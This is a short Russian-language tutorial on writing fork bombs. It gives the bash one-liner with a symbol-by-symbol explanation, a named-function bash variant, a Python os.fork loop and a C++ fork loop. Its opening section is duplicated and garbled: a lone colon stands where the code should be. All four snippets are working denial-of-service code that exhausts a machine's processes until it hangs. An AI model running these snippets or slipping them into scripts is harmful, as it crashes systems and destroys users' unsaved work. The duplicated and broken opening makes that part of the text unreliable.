Создания Fork Bomb с использованием bash
В консоли Bash (в Linux-дистрибутивах):
:
Описание кода:
) Определяет функцию.
{ Открывает функцию.
:|: Загружает копию функции «:» в память.
‘:’ функция, вызываемая два раза, чтобы «бомбить» вашу систему.
& вызов функции в фоновом режиме. Начинает поглощать системные ресурсы.
} Закрытие функции.
; Разделителем команд.
: Запуск fork bomb
Выше предоставлен код рабочий, но не правильный. Так выглядит правильный код:
Форк бомба в Python
Fork bomb на c++
В консоли Bash (в Linux-дистрибутивах):
Код:
:(){ :|:& };:
Описание кода:
) Определяет функцию.
{ Открывает функцию.
:|: Загружает копию функции «:» в память.
‘:’ функция, вызываемая два раза, чтобы «бомбить» вашу систему.
& вызов функции в фоновом режиме. Начинает поглощать системные ресурсы.
} Закрытие функции.
; Разделителем команд.
: Запуск fork bomb
Выше предоставлен код рабочий, но не правильный. Так выглядит правильный код:
Код:
#!/usr/bin/env bash -x
bomb() {
bomb | bomb &
};
bomb
Форк бомба в Python
Код:
import os
while True:
os.fork()
Fork bomb на c++
Код:
#include <unistd.h>
int main(void)
{
while(1)
fork();
}